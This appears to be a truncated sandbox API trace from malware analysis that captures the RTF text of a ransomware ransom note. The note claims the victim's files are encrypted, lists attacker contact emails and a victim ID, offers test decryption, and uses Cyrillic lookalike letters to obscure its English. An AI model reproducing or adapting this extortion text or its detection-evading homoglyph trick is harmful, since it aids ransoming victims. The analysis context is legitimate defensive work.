D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 